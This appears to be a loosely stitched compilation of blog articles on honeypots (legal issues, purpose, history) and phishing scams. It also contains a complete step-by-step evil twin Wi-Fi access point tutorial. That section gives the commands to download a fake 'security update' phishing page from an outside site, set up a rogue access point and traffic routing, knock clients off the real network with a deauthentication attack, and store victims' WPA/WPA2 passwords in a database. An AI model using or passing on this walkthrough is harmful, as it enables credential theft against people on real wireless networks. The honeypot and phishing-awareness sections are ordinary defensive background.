These diverse laws mainly rely heavily on the quality of the data captured by a honeypot and on the person who is implementing and deploying the honeypot inside the network in the first place. The main significant issue when it comes to legalizing the usage of honeypots rely on the type of collected data and the content of it. This makes it harder for someone to determine whether using honeypots is considered a legal aspect. This is because legalizing it or not mainly depends on what the data is intended to be used for after collecting it. This mainly leaves us with several steps that one should carefully consider by the time he deploys a honeypot inside the network.

A lot of questions and approaches should be asked during the experiment as well. Things are no different when it comes to using a honeypot for a company, or for home, yet for a company, there are several other responsibilities that a network administrator should consider and take care of greatly. A network administrator is responsible for both the country laws and the company laws that come next.

It is a must to abide by these laws to remain in legal status. While some companies allow experimenting almost everything inside the company, many more other companies put several restrictions on experimenting such things within the company. By the time a honeypot is deployed, someone has to be sure about the answers of the legality of honeypots inside the company and the country as well. One has to ask the responsible ones to make sure that what he is doing does not violate current rules set by either the country or of course the company. In this regard, there are in fact three main legal issues that should be considered regarding using honeypots. The three are privacy, entrapment and civil liability

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf

 

 

Phases and Usages of a Honeypot

 

 

 

 

 

How can we define honeypots?

A honeypot is essentially a computer system. In this computer system, there exists some files and directories like any other usual computer system. A honeypot aims to attract an attacker to fall into its trap and investigate his actions and follow his behavior. In fact, a honeypot is not an actual system yet; it is a fake intentionally made system. The difference between a honeypot and other security systems lies in the fact that a variety of security problems could be tackled at once using diverse approaches by depending on honeypots.

On the contrary, other usual security systems are used to tackle one certain problem through a proposed solution. An instance of this point could be simply seen in the scenario when a compromised system is investigated after having a log of malicious activity. At the same time, new threats could be recognized through implementing a honeypot in a network and hence an attempt to tackle these problems and overcome them effectively.

To an outside attacker, the honeypots are indistinguishable from the actual production servers. Thus, the servers will not behave any differently when attacking them. However, the network security team can monitor the honeypots for recorded attacks and later analyze them. The honeypots can also help to absorb attacks directed against the real server.

 

What is the motivation behind a honeypot?

The honeypot idea is mainly derived from a great interest in the field of computer security as a whole. The implementation of a honeypot requires that one is interested to know the workflow of security systems and to build a solid knowledge of how the protection of a company could be achieved and how security flaws in a system may be very risky for the entire system and organization. A network administrator shall be ready for a great work ahead of him while implementing the honeypot system in a network. Being aware of the system and network architecture and the modifications that could be applied to them is a very crucial step beforehand.

The output shall be examined through some reliable forensic science tools. In the meanwhile, several problems will be encountered, and the administrator has to make sure he can solve them before putting the honeypot in the system. Facing such problems before actually facing them, in reality, will be very important for the administrator. Of course, at that time, although the conditions may be intense, the system will be handled quickly, and losses will be easily recovered. Therefore, good knowledge of both examination of security problems and forensic science information is a must.

 

What should be done before applying a honeypot to the real production system?

In fact, there has to be some research carried out by the network administrator by the time he even thinks of applying the honeypot concept in the network. He has to be sure that the created honeypot is secured such that it has no leaks into the actual system. Otherwise, it will make a real disaster. On the other hand, he has to make sure that a hacker has no knowledge about being trapped into a honeypot.

He has also to be aware of the maximum amount of information available for an attacker to get through the honeypot implementation. Also, it is good to know the behavior of an attacker when he knows that he is in a trap. Will that attacker just give up hacking and stop his actions? It is also really important for a network administrator to be knowledgeable of the location where the honeypot should be deployed in the network and the amount of information he can get.

Laws always play a role in everything in life. Therefore, it is also advisable that a network administrator should be aware of the restrictions applied on implementing honeypots especially if his organization is in the European Union (EU) or the United State of America (USA). There are certain rules and regulations which govern the process of obtaining information of an attacker or tracking him back. Therefore, a network administrator should abide by these rules by not fully tracking the attacker, and at the same, he should be respectful of the laws in every single way.

 

What is the description of our problem? 

When we build a good honeypot, we expect to attract several attackers into the fake system and let them take control over the intentional flaws left in there. When we trace the hacker, it is not guaranteed for sure that we will be the ones who have the control. Thus, we don’t know much about the security of a honeypot. We are not sure whether the attacker, in fact, knows that it is a fake system.

Additionally, we doubt whether the attacker is aware of the great importance of acquiring information about the system flaws. We need to be very specific and certain about the actual limits that an attacker has whenever he gets the control over the honeypot system. It will be disappointing if the attacker can even exploit the honeypot itself and seize a flaw in it to get to the system and do what they want in the system.

The entire system will be compromised when an attacker gets to this devastating point. Another entitled problem is that an attacker may recognize that it is a trap and then stop hacking or pretend that he is hacking. During such a time, it is no longer beneficial to have the installed honeypot anymore, and it is not useful either to use our forensics tool to investigate the system.

A very important aspect to consider when using honeypots is to be sure about the answers for all these questions and attempt to get our honeypots to be more secure and be assured that hacking the honeypot by the attacker will not yield any useful data for him about the actual system. A good network administrator should play the role of a hacker once and of a forensic examiner on another occasion or simultaneously of course with his own team. Very accurate results may be outputted then by depending on various tools for hacking and forensics purposes.

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf

 

How can you Create an Evil Twin Access Point?

 

Quick introduction:

What is an evil twin access point? Basically, when it comes to security and especially Wi-Fi security, the name evil twin access point arises greatly. Basically, an attacker can imitate an actual Wi-Fi access point for the sake of getting to collect data from whoever attempts to access the network.

Installing a Wi-Fi access point with the same name and settings of another access point, and setting the access point and positioning it next to the impersonated one will most likely cause the victim user to fall in the trap. Since the two access points become twins, in fact, identical twins per say, the user will hardly be able to distinguish between the two access points and will try to access the evil access point as if it is the original one. This is because the signal strengths may be similar or even at times, the evil access point can be having the stronger signal.

Now, there are two cases: it is either the user’s device will connect automatically to an access point, which is in this case the evil access point, or the user will manually choose the stronger access point perceiving it as, the nearer one. In both cases, all the user’s sensitive data such as passwords will get intercepted by the attacker.

What do you need to set up an evil twin access point?

To be able to set up an evil twin access point, there are four main requirements:

  1. Have Kali Linux installed on your machine.
  2. Have a Wireless Network adapter.
  3. Have your machine connected to the Internet.
  4. Have a target access point.

What are the steps to accomplish the desired task?

The following steps work as a concise way to get an evil twin access point prepared for an attack:

  1. Get your Kali Linux machine opened and logged in
  2. Get the Internet connection established between your machine and the host machine.
  3. Get a DHCP server installed on your machine: this can be done by opening the terminal and typing: “apt-get install dhcp3-server “
  4. After the installation is done successfully, get the DHCP server configured with the following command:

“ nano/etc/dhcpd.conf”

A blank file should get opened into the terminal right away after executing this command.

  1. Inside the blank file, type the following, type the following lines as they are:

authoritative;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.1.128 netmask 255.255.255.128 {

option subnet-mask 255.255.255.128;

option broadcast-address 192.168.1.255;

option routers 192.168.1.129;

option domain-name-servers 8.8.8.8;

range 192.168.1.130 192.168.1.140;

}

  1. Save the file by pressing on ctrl+x and then press ‘y’
  2. You get to set the security update page downloaded; this page is the one which will appear when the user opens the browser. To be able to accomplish this task, you should change the directory to /var/www. You can simply type the following command for this sake:

“cd /var/www”

  1. Now that you changed the work directory, you get to type the following commands in their order:

rm index.html

wget http://hackthistv.com/eviltwin.zip

unzip eviltwin.zip

rm eviltwin.zip

  1. Get the apache server opened now and mysql as well. The following commands respectively should do this task for you:

/etc/init.d/apache2 start

/etc/init.d/mysql start

  1. Get a database created to be able to store the users’ WPA/WPA2 passwords when they enter the security update page. The following commands are very effective to do this task for you now:

mysql -u root

create database evil_twin;

use evil_twin

create table wpa_keys(password varchar(64), confirm varchar(64));

Don’t close the MySQL page or terminal after this step.

  1. Get to know the interface name of the local network adapter and know the local IP as well. To do that, get a new separate terminal opened and type the following commands inside it:

ip route

airmon-ng

airmon-ng start wlan0

clear

when you type the first command of this list: (take note of local IP n wired interface): the interface name is the one which appears after “eth0” and the local IP appears after “src”

  1. Type the following commands now:

airodump-ng-oui-update

airodump-ng -M mon0 (take note of the target essid,bssid and channel number which all appear after this command)

airbase-ng -e [ESSID] -c [ch. #] -P mon0 (such that [ESSID] is your target’s ESSID and [ch. #] is the target’s channel no which you took note of after the previous command)

  1. Now, the evil access point is awesomely running. However, we need to get to configure our tunnel interface to be able to create a bridge between our evil twin access point and the wired interface. The name of our tunnel interface is at0. This was essentially created when we used “airbase” in the last step. To make such configurations, get a new separate terminal opened without closing neither the MySQL nor the airbase terminals. The following command should be typed into the new terminal now:

ifconfig at0 192.168.1.129 netmask 255.255.255.128

  1. A routing table has to be added now such that IP forwarding gets enabled. This way, traffic can go into and from our evil access point successfully. The following commands should be typed respectively to get this task done:

route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE

iptables –append FORWARD –in-interface at0 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp –dport 80 -j DNAT –to-destination [LOCALIP ADDRESS:80]

iptables -t nat -A POSTROUTING -j MASQUERADE

dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0

etc/init.d/iscdhcp-server start

  1. Perform a De-authentication attack now. This will make it compulsory for all the connected clients to connect to the evil twin access point. We need first of all to get a blacklist file created, to contain BSSID of the target. The following command will be doing this task for you:

echo [BSSID] > blacklist

NOTE:[BSSID] BSSID of the target

mdk3 mon0 d -b blacklist -c [CH.#]

  1. Get back to the airbase terminal; there you will know whether a user is connected to the evil twin access point. He will have entered his WPA/WPA2 password by then. To view this password, get back to the MySQL terminal and type the following commands:

use evil_twin

select * from wpa_keys; {To view the password entered by the victim in our MySQL database}

  1. Congratulations! You have created the evil twin access point successfully.

 

Sources:

www.hacking-tutorial.com/hacking-tutorial/how-to-create-evil-twin-access-point/#sthash.rDbO247S.dpbs

How to understand phishing scams?

 

So, what about phishing scams?

Phishing is one of the most common social engineering attacks that has risen these days.

The following list provides some a few social engineering scams executed via phishing:

  1. Banking Link Scam:

An email could be simply sent to you to trick you to reveal some vital information about yourself. Even a phony link to your bank may be sent to you such that you start to believe it is sent from your real bank. Then, you will be tempted to enter your user-name and password. In 2015, a campaign named Carbanak was able to get about around a billion dollars from over 30 countries. This information was found by Kaspersky.

What happened precisely is that spear phishing was highly depended on. As a result, workstations got infected through the help of their employees. Hackers were capable of tunneling more rooted into the bank’s systems, taking control over employee stations. This for sure allowed them to manage to transfer cash, to operate ATMs in a remote manner, get the information changed for different accounts, and do some other playful tricks on the reports.

The problem which occurred at that time was primarily due to a phishing email sent to some employees as if it was one of their colleagues who posted it. However, there was a malicious code right behind the scenes. It was able to spread from there widely. In the meantime, everything that happened on the victims’ machines was recorded by the attackers for future use. When proper time came, the attackers could understand everything in the system and get to know what things go where. This made it pretty easy for them when it came to doing several transactions among which was the ATM hits. In addition to that, inflating bank balances then siphoning off that amount was something on the scene such that an account balance for a customer might go from $20,000 to $100,000 and the $80,000 were the earnings of the hacker.

 

  1. Fax Notice Scam:

A phony link to a fake fax is all that it is. However, the damage is enormous when it occurs to your computer as a result. This type of scams appears significantly when it comes to dealing with companies that substantially rely on faxes. Firms that heavily utilize faxes are exemplified by document management firms, title companies, and other companies for insurance and other financial services.

 

  1. Dropbox Link Scam:

Even Dropbox has its surprises with regards to scams. Some security incidents occurred through the year 2014. In one of the cases, what happened is that there was a phishing email sent to victims, asking them to click on a fake link to reset their Dropbox password. After clicking the link, users were led into a page where they were prompted that their browser is out of date and they need to update it. There was a button were users were supposed to press to run their update. However, this was the trigger for a Trojan in the Zeus family of malware. Additionally, there was another phishing attack that used Dropbox. Emails were sent to victims having some Dropbox links. On clicking on such links, malicious software like “CryptoWall” ransomware got into the systems.

 

  1. Court Secretary Complaint Link Scam:

This is another phony link which is meant to trick a customer who falls as a victim of phishing. It is a link that confirms a customer’s complaint. For instance, a phishing email of that sort may include a kind of prediction that a consumer is willing to complain about something very soon. The one who sends the email attempts to grasp the problems that the customer has to further work on them. Using this kind of phishing was in fact very common for quite some time.

 

  1. Facebook Message Link Scam:

This type of phishing trick mainly appears at the time of death time of a celebrity. A link is sent through Messenger or shared through different pages that daisies will be pushed up from the computer through a click on the proposed link.

One vivid example of this occurred when Robin Williams died. Unfortunately, a phishing message through Facebook was hugely widespread among different users tempting them to open a link to watch the Robin Williams goodbye video. The phishing message was really to the point such that even they added more flavor to the title of the link to indicate that it is an exclusive video of Williams saying goodbye through his cell phone. When the link was clicked on by the user, they were driven into a bogus BBC website page which had nothing but some bad links leading to scam online surveys.

How is it possible for an attacker to attract more victims to the counterfeit website?

There are in fact many methods utilized by an attacker to get more victims to visit the fake website. Among these methods, the following four tricky methods exist:

  1. The phishing website gets shortened to the minimum appropriate length by the attacker.
  2. The URL gets several shares on social media websites such as WhatsApp and Viber. It is more likely that people will have the incentive to get through these phishing links there because there is no shared awareness of computer security among the users of these social groups.
  3. Social Engineering is mostly used here such that people will fall into the trap and open the links.
  4. URLs are sent by the attackers to the victims through emails especially from female names.

 

Sources

https://digitalguardian.com/blog/social-engineering-attacks-common-techniques-how-prevent-attack

Hacking GMail Using Phishing Method and Prevention

 

What is the History of Honeypots?

 

There are several ways in which researchers and developers can work to protect the software that they write. Some are proactive, like code reviews and regression testing, while others are reactive, like the pwn2own contest where new vulnerabilities are used to exploit browsers. Some tools can take on aspects of both; one class of these tools are honeypots. The term honeypot was first presented by Lance Spitzner in 1999 in a paper titled To Build a Honeypot.

 

What is the history of honeypots?

Essentially, the motivation behind the name honeypots is derived from the honeypots existing in the actual real life. As we already know, such honeypots should be resourceful of desirable things which is the honey to someone who is a child or nest of ants for instance. This honeypot could be really useful to get this person lured out. When it comes to computer honeypots, it is no different at all. The same concept applies such that a tempting target exists and becomes attractive for an attacker who finds himself tempted to exploit the target and perform his desired attack in between.

Spitzner was the first one to bring the word honeypot to the field of computer science. However, the ideology was proposed since the mid-1980s. Since then, there has been some research on how attacks are performed on systems to have their devastating effects on different organizations. In January 1991, Bill Cheswick wrote the following comments regarding his time at AT&T Bell Laboratories. He was trying to find out reasons or logs for attacks, as he explains in the following comments:

On Sunday evening, January 20, I was riveted to CNN like most people. A CNN bureau chief in Jerusalem was casting about for a gas mask. I was quite annoyed when my terminal announced a security event: 22:33 finger attempt on berferd A couple of minutes later someone used the debug command to submit commands to be executed as root – he wanted our mailer to change our password file!

These statements show how Cheswick managed to understand the commands issued by a remote attacker. He was even able to manipulate the attacker through replying to him with some modified responses on the same day. However, on the following day, Cheswick started working with his team on creating a chroot environment where they can play with the attacker and even make the attacker play there. The following words show what he did exactly as he narrated:

I wanted to watch the cracker’s keystrokes, to trace him, learn his techniques, and warn his victims. The best solution was to lure him to a sacrificial machine and tap the connection. … We constructed such a chroot “Jail” (or “roach motel”) and rigged up logged connections to it through our firewall machine. … A little later Berferd [the attacker] discovered the Jail and rattled around in it. He looked for some programs that we later learned contained his favorite security holes. To us, the Jail was not very convincing, but Berferd seemed to shrug it off as part of the strangeness of our gateway. Berferd spent a lot of time in our Jai

The attacker was recognized by Cheswick for several months. Nonetheless, the attacker was kept there inside the honeypot until Cheswick shut it down. During that time,  several attempts were made by the attacker to try to attack several other computer networks. The benefit from all his attempts lied mainly in the fact that administrators were able to find out the weak points in their networks where attacks were possible to be made. If it weren’t for the honeypot, Cheswick with his team of network administrators would not have been able to detect all of these flaws in the network of his organization. Furthermore, they were capable of recognizing where the source of the attack was. It was, in fact, coming from a Sweden guy who had a knack for subverting the system he was on. He should have had an account to do his bad deed.

Then, in 1997, Deception Toolkit 0.1 got released by Fred Cohen. This was basically like an introduction to how the structure of a honeypot should look like. Therefore, in the following year, CyberCop Sting honeypot got released to become the first commercially produced honeypot ever. In the same year, BackOfficer Friendly got released as well. It was actually a free software that was easy to use and configure. This version operated perfectly under the Microsoft Windows operating system platform. It was the beginning of increasing publicity of honeypots across the world. This is simply because a tremendous amount of people knew about it and tried it that year. Honeynet then started in 1999. It was after BlackOfficer when people became more attracted to the new trend of honeypots. There were several other papers that were written to tackle this technology and discuss new efficient implementations of honeypots. As a result, the general knowledge of people increased greatly because of the many releases and applications.

The usage of honeypots to capture any malicious activities, malicious software on the internet, detect it and raise awareness about any new threats occurred between 2000 and 2001. Since this year, honeypots became popular with organizations which cared about computer security. They implemented honeypots in their networks such that they could detect any malicious traffic going through their network and hence get their network security improved as a whole. Since 2002 till now, the concept of honeypots became familiar to the professionals in the field of computer security. Researchers and professionals worked on improving the functionalities of honeypots. Many more features were added to honeypots until their benefits became considerable for businesses and companies.

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf